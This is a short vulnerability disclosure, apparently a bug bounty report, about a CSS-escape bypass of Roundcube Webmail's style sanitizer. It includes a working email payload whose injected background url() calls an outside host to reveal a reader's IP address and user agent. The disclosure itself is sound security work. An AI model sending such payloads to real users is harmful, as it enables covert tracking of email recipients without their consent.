Roundcube Webmail Style Sanitizer can be bypassed using CSS Character Escapes

How it was found

Summary:

The style sanitizer in Roundcube Webmail can be bypassed by creating HTML entities using CSS character escapes. This allows using arbitrary inline CSS, like e.g. url(), and retrieve the IP address and user agent of the person reading the email.

Steps To Reproduce:

1. Send an HTML email to your account with the following contents:

<div style='content: "\0026quot;; background: url(//http.cat/418); content:""; width: 100%; height: 100%;'>hi, this shouldn't work :(</div>

2. Open the email in Roundcube in the HTML mode

The background image will be applied to the element, causing a HTTP request to https://http.cat/418

Supporting Material/References:

{F5056779} {F5056780}

Explanation

\0026 is a CSS entity and will be decoded to &. Together with the quot; afterwards, this will close the string token and cause the rest of the string token to be interpreted as CSS. {F5056781}

Impact

An attacker can send a malicious email to a victim and retrieve the victim's IP address and user agent.